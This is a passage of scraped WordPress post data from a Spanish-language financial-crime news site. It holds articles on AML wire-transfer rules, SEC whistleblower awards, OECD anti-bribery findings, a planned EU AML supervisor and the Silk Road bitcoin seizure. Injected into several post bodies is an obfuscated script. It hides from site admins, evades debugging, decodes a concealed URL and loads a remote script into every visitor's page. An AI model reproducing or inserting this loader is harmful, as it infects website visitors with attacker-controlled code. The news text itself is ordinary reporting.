key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, 